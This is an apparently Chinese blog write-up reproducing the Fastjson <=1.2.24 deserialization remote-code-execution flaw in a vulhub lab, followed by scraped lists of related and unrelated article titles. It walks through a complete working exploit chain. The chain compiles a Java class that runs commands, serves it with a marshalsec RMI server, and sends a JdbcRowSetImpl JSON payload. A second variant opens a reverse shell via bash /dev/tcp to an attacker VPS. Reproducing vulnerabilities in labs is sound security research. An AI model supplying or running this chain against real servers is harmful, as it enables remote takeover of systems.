Fastjson <=1.2.24-反序列化-任意命令执行
漏洞分析
https://www.secpulse.com/archives/72391.html
复现参考
https://www.cnblogs.com/hack404/p/11980791.html
https://www.cnblogs.com/tr1ple/p/11431543.html
https://www.cnblogs.com/escape-w/p/11322845.html
环境搭建
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
搭建完成后访问 8090端口

接着在自己的vps里开启rmi或者ldap服务
推荐使用marshalsec快速开启rmi或ldap服务
地址:
git clone https://github.com/mbechler/marshalsec
下载marshalsec,使用maven编译jar包
mvn clean package -DskipTests
安装完成好后,新建文件,复制代码,命名为TouchFile.java (注:红体就是要执行的命令,每次换命令,都要重新编译文件)
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process; public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
进行编译成class文件,会生成TouchFile.class文件
javac TouchFile.java

然后搭起服务,要测试能直连 TouchFile.class ,才会执行文件里的命令
python -m SimpleHTTPServer 4444

开启rmi或ldap服务 4444是上方服务的端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999

然后上poc
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160 {
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:9999/TouchFile",
"autoCommit":true
}
}

这边监听的就返回连接了


由于是docker搭建的环境,所以要docker里的/tmp 查看 ,而不是当前的/tmp
比如 "touch", "/tmp/success

反弹shell
替换代码,修改,然后编译,步骤和上面一样
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process; public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
监听端口
nc -lvnp 7777

成功反弹
总结一下:
1.利用java编译好执行命令的文件
2.python -m SimpleHTTPServer 4444 构建好服务,才能在poc里能访问到TouchFile.class执行命令
3.利用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999 搭建好通讯监听,poc里访问这个9999端口就和4444端口通讯了,然后执行了TouchFile.class命令
Fastjson <=1.2.24-反序列化-任意命令执行的更多相关文章
- fastjson<1.2.47 RCE 漏洞复现
这两天爆出了 fastjson 的老洞,复现简单记录一下. 首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server. package cn.hackte ...
- fastjson =< 1.2.47 反序列化漏洞复现
fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...
- fastjson<=1.2.47反序列化漏洞复现
0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- fastjson =< 1.2.47 反序列化漏洞浅析
fastjson =< 1.2.47 反序列化漏洞浅析 iiusky 洛米唯熊 今天 文章出处: https://www.03sec.com/3240.shtmlhttps://www.secq ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现
CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...
- CVE-2019-5475:Nexus2 yum插件RCE漏洞复现
0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...
- Apache Flink 任意 Jar 包上传致 RCE 漏洞复现
0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...
随机推荐
- Codeforces Round #527 (Div. 3) C. Prefixes and Suffixes (思维,字符串)
题意:给你某个字符串的\(n-1\)个前缀和\(n-1\)个后缀,保证每个所给的前缀后缀长度从\([1,n-1]\)都有,问你所给的子串是前缀还是后缀. 题解:这题最关键的是那两个长度为\(n-1\) ...
- C# 同步和异步(概念理解)
C# 同步和异步 IO 概念区分 四个相关概念: 同步(Synchronous) 异步( Asynchronous) 阻塞( Blocking ) 非阻塞( Nonblocking) 同步异步图解 ...
- Selenium刚玩一会儿,就感受了私人秘书的体验
学习python的过程中,少不了接触第三方库,毕竟作为胶水语言python的强大之处也就是第三方库体量庞大,无疑大大增强了python的战斗力. 有时候想完成网页自动化操作,这时候Selenium进入 ...
- Gitlab 快速部署及日常维护 (一)
一.GitLab简介GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的web服务 二.GitLab系统架构git用户的主目录通常是/home/git(~ ...
- woj1012 Thingk and Count DP好题
title: woj1012 Thingk and Count DP好题 date: 2020-03-12 categories: acm tags: [acm,dp,woj] 难题,dp好题,几何题 ...
- Redis 集合统计(HyperLogLog)
统计功能是一类极为常见的需求,比如下面这个场景: 为了决定某个功能是否在下个迭代版本中保留,产品会要求统计页面在上新前后的 UV 作为决策依据. 简单来说就是统计一天内,某个页面的访问用户量,如果相同 ...
- Steam 钓鱼模拟器
Steam 钓鱼模拟器 Fishing Planet Fishing Planet 是一个独特和高度现实的在线第一人称多人钓鱼模拟器,由狂热的钓鱼爱好者钓鱼给你带来实际钓鱼充分刺激开发! 选择你的诱饵 ...
- Mac 开机时为什么突然响一下,duang
Mac 开机时为什么突然响一下,duang duang 一下 https://zh.wikipedia.org/wiki/Duang refs xgqfrms 2012-2020 www.cnblog ...
- making a resizable div effect in vanilla js
making a resizable div effect in vanilla js scroll image compare <!DOCTYPE html> <html lang ...
- Electron Security All In One
Electron Security All In One https://www.electronjs.org/docs/tutorial/security CSP Content-Security- ...